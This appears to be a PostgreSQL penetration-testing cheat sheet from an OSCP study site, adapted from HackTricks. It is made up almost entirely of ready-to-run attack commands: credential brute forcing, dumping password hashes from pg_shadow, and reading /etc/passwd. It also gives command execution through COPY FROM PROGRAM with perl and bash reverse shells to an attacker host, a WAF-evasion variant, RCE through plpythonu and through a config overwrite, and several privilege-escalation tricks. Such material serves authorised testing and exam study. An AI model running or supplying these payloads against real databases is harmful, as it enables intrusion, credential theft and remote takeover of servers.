📡
Postgresql (Tcp 5432)
PostgreSQL is an open-source object-relational database. Default port 5432/tcp (falls back to 5433 if in use). Source: [HackTricks — Pentesting PostgreSQL](https://hacktricks.wiki…
#services#adot8
source · oscp.adot8.com · services/postgresql-less-than-tcp-5432-greater-than ↗PostgreSQL <tcp 5432>
PostgreSQL is an open-source object-relational database. Default port 5432/tcp (falls back to 5433 if in use). Source: HackTricks — Pentesting PostgreSQL.
code
01PORT STATE SERVICE025432/tcp open pgsqlConnect
bash
$psql -U <myuser> # local console$psql -h <ip> -U <username> -d <database> # remote$psql -h <ip> -p 5432 -U <username> -W <password> <database> # remote w/ password promptEnumeration (psql meta-commands)
sql
01\list -- list databases02\c <database> -- switch DB03\d -- list tables04\du+ -- list roles / users05\dn+ -- list schemas06\df * -- list functions07\s -- command history08 09SELECT user; -- current user10SELECT current_catalog; -- current DB11SELECT version(); -- server version12SELECT datname FROM pg_database;13SELECT schema_name, schema_owner FROM information_schema.schemata;14SELECT usename, passwd FROM pg_shadow; -- creds (needs superuser)15SELECT lanname, lanacl FROM pg_language;16SELECT * FROM pg_extension; -- installed extensionsIf
\listshows a DB namedrdsadmin, you're inside an AWS RDS PostgreSQL.
Nmap + Metasploit
bash
$nmap -sV -p 5432 --script=pgsql-brute <ip>code
01msf> use auxiliary/scanner/postgres/postgres_version02msf> use auxiliary/scanner/postgres/postgres_login03msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection04msf> use auxiliary/admin/postgres/postgres_sql05msf> use auxiliary/admin/postgres/postgres_readfile06msf> use exploit/multi/postgres/postgres_copy_from_program_cmd_execBrute force
bash
$hydra -L users.txt -P passwords.txt <ip> -s 5432 postgres$medusa -h <ip> -U users.txt -P passwords.txt -M postgres$ncrack -p 5432 --user postgres -P passwords.txt <ip>Port-state fingerprint via dblink
sql
01SELECT * FROM dblink_connect('host=1.2.3.4 port=5678 user=name password=secret dbname=abc connect_timeout=10');| Error message | Meaning |
|---|---|
No route to host | Host down |
Connection refused | Port closed |
server closed the connection unexpectedly | Port open (banner-grabbed) |
password authentication failed for user "name" | Port open, auth wall |
Connection timed out | Open or filtered |
Roles & privileges
| Column | Meaning |
|---|---|
rolsuper | Superuser |
rolcreaterole | Can create roles |
rolcreatedb | Can create DBs |
rolcanlogin | Can log in |
rolreplication | Replication role |
rolbypassrls | Bypass row-level security |
- Member of
pg_execute_server_program→ run commands - Member of
pg_read_server_files→ read files - Member of
pg_write_server_files→ write files
sql
01-- Am I superuser?02SELECT current_setting('is_superuser');03 04-- Full role dump05SELECT r.rolname, r.rolsuper, r.rolcreaterole, r.rolcreatedb,06 r.rolcanlogin, r.rolbypassrls, r.rolreplication,07 ARRAY(SELECT b.rolname FROM pg_catalog.pg_auth_members m08 JOIN pg_catalog.pg_roles b ON m.roleid = b.oid09 WHERE m.member = r.oid) AS memberof10FROM pg_catalog.pg_roles r ORDER BY 1;11 12-- Grant myself into privileged groups (needs CREATEROLE / superuser)13GRANT pg_execute_server_program TO "<user>";14GRANT pg_read_server_files TO "<user>";15GRANT pg_write_server_files TO "<user>";File read
sql
01-- Via COPY (super / pg_read_server_files)02CREATE TABLE demo(t text);03COPY demo FROM '/etc/passwd';04SELECT * FROM demo;05 06-- Via helper functions07\c postgres08SELECT * FROM pg_ls_dir('/tmp');09SELECT * FROM pg_read_file('/etc/passwd', 0, 1000000);10SELECT * FROM pg_read_binary_file('/etc/passwd');File write
sql
01-- Super / pg_write_server_files. One-liner only — COPY strips newlines.02COPY (SELECT convert_from(decode('<BASE64>','base64'),'utf-8')) TO '/tmp/out.txt';RCE — COPY … FROM PROGRAM (CVE-2019-9193, "won't fix")
Requires superuser or pg_execute_server_program.
sql
01DROP TABLE IF EXISTS cmd_exec;02CREATE TABLE cmd_exec(cmd_output text);03COPY cmd_exec FROM PROGRAM 'id';04SELECT * FROM cmd_exec;05 06-- Reverse shell (perl)07COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"<lhost>:<lport>");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';WAF-bypass variant (build COPY dynamically inside a DO block):
sql
01DO $$02DECLARE cmd text;03BEGIN04 cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/<lhost>/<lport> 0>&1"''';05 EXECUTE cmd;06END $$;RCE via PL/pgSQL languages
sql
01CREATE OR REPLACE FUNCTION shell(text) RETURNS void AS $$02 import os03 os.system(args[0])04$$ LANGUAGE plpythonu;05SELECT shell('id > /tmp/out');PostgreSQL 8.2+: RCE via loading a malicious .so extension — see HackTricks RCE with PostgreSQL Extensions.
RCE via postgresql.conf overwrite (superuser)
Abusable knobs:
ssl_passphrase_command— executed to decrypt the SSL key onpg_reload_conf().archive_command+archive_mode = 'on'— executed on every WAL switch (SELECT pg_switch_wal();).session_preload_libraries+dynamic_library_path— load attacker.soon next connection.
sql
01-- Multi-line rewrite via Large Objects (works from SQLi)02SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');03SELECT lo_from_bytea(223, decode('<BASE64_NEW_CONF>','base64'));04SELECT lo_export(223, '/etc/postgresql/15/main/postgresql.conf');05SELECT pg_reload_conf();06SELECT pg_switch_wal();CREATEROLE → SUPERUSER
sql
01GRANT pg_execute_server_program TO <me>;02ALTER USER victim WITH PASSWORD 'new';03 04-- If pg_hba.conf has `local ... trust`, escalate through psql:05COPY (SELECT '') TO PROGRAM 'psql -U postgres -c "ALTER USER <me> WITH SUPERUSER;"';dblink local-login abuse
sql
01CREATE EXTENSION dblink; -- if missing02SELECT * FROM dblink('host=127.0.0.1 port=5432 user=postgres dbname=postgres',03 'SELECT usename,passwd FROM pg_shadow')04 RETURNS (result TEXT);05 06-- Detect availability07SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;ALTER TABLE + index function trick (Wiz "cloudsqladmin")
sql
01CREATE TABLE temp_table (data text);02INSERT INTO temp_table VALUES ('x');03CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text04 LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';05CREATE INDEX ix ON public.temp_table (suid_function(data));06ALTER TABLE temp_table OWNER TO cloudsqladmin;07CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text08 LANGUAGE sql VOLATILE AS09 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';10ANALYZE public.temp_table; -- runs as ownerOverwriting filenodes (privesc without UPDATE)
SELECT setting FROM pg_settings WHERE name='data_directory';SELECT pg_relation_filepath('<table>');→ e.g.base/3/1337SELECT lo_import('<data_dir>/base/3/1337', 13337);- Edit with postgresql-filenode-editor — flip
rol*flags inpg_authidto make yourself superuser. SELECT lo_from_bytea(13338, decode('<B64>','base64')); SELECT lo_export(13338,'<data_dir>/base/3/1337');- Clear cache:
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea);
Cheat cheatsheet
bash
$# Dump every DB$pg_dumpall -h <ip> -U postgres -f dump.sql$ $# Dump one DB$pg_dump -h <ip> -U postgres -d <db> -f db.sql$ $# Password hashes (SCRAM-SHA-256 / md5)$psql -h <ip> -U postgres -c "SELECT usename, passwd FROM pg_shadow;"See also HackTricks — PostgreSQL Injection and RCE with PostgreSQL Extensions.